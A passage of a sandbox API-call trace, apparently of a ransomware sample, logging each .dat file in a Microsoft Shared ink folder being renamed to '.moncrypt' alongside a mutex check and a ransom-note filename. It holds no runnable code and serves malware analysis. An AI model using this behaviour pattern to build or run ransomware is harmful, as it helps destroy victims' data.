dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 0x54e200 [0045.815] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.815] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.815] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", dwFileAttributes=0x20) returned 0 [0045.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.moncrypt")) returned 0 [0045.815] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.815] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.815] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.815] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.815] GlobalUnlock (hMem=0x44000c) returned 0 [0045.816] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.816] GlobalLock (hMem=0x440004) returned 0x553188 [0045.816] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.816] GlobalUnlock (hMem=0x44000c) returned 0 [0045.816] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.816] GlobalUnlock (hMem=0x440004) returned 0 [0045.816] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.816] CharLowerBuffW (in: lpsz="hwrlatinlm.dat", cchLength=0xe | out: lpsz="hwrlatinlm.dat") returned 0xe [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.816] CharLowerBuffW (in: lpsz=".dat", cchLength=0x4 | out: lpsz=".dat") returned 0x4 [0045.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dat", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".datShared\\ink\\hwrlatinlm.dat", lpUsedDefaultChar=0x0) returned 4 [0045.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 0x54e200 [0045.816] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.816] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.817] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", dwFileAttributes=0x20) returned 0 [0045.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.moncrypt")) returned 0 [0045.817] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.817] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.817] GlobalLock (hMem=0x440004) returned 0x551178 [0045.817] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.817] GlobalUnlock (hMem=0x440004) returned 0 [0045.817] GlobalLock (hMem=0x440004) returned 0x551178 [0045.817] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.817] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.817] GlobalUnlock (hMem=0x440004) returned 0 [0045.818] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.818] GlobalUnlock (hMem=0x44000c) returned 0 [0045.818] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.818] CharLowerBuffW (in: lpsz="hwruklm.dat", cchLength=0xb | out: lpsz="hwruklm.dat") returned 0xb [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.818] CharLowerBuffW (in: lpsz=".dat", cchLength=0x4 | out: lpsz=".dat") returned 0x4 [0045.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dat", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".datShared\\ink\\hwruklm.datr", lpUsedDefaultChar=0x0) returned 4 [0045.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 0x54e200 [0045.818] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.818] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.818] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", dwFileAttributes=0x20) returned 0 [0045.826] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.moncrypt")) returned 0 [0045.826] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0045.826] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.826] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.827] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.827] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.827] GlobalUnlock (hMem=0x44000c) returned 0 [0045.827] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.827] GlobalLock (hMem=0x440004) returned 0x553188 [0045.827] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.827] GlobalUnlock (hMem=0x44000c) returned 0 [0045.827] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.827] GlobalUnlock (hMem=0x440004) returned 0 [0045.827] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.827] CharLowerBuffW (in: lpsz="hwruksh.dat", cchLength=0xb | out: lpsz="hwruksh.dat") returned 0xb [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", cchWideChar=62, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.datr", lpUsedDefaultChar=0x0) returned 62 [0045.828] CharLowerBuffW (in: lpsz=".dat", cchLength=0x4 | out: lpsz=".dat") returned 0x4 [0045.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dat", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".datShared\\ink\\hwruksh.datr", lpUsedDefaultChar=0x0) returned 4 [0045.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 0x54e200 [0045.828] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.828] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.828] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", dwFileAttributes=0x20) returned 0 [0045.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.moncrypt")) returned 0 [0045.831] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0045.831] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.831] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.831] GlobalLock (hMem=0x440004) returned 0x551178 [0045.831] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.831] GlobalUnlock (hMem=0x440004) returned 0 [0045.832] GlobalLock (hMem=0x440004) returned 0x551178 [0045.832] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.832] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.832] GlobalUnlock (hMem=0x440004) returned 0 [0045.832] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.832] GlobalUnlock (hMem=0x44000c) returned 0 [0045.832] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.832] CharLowerBuffW (in: lpsz="hwrusalm.dat", cchLength=0xc | out: lpsz="hwrusalm.dat") returned 0xc [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, 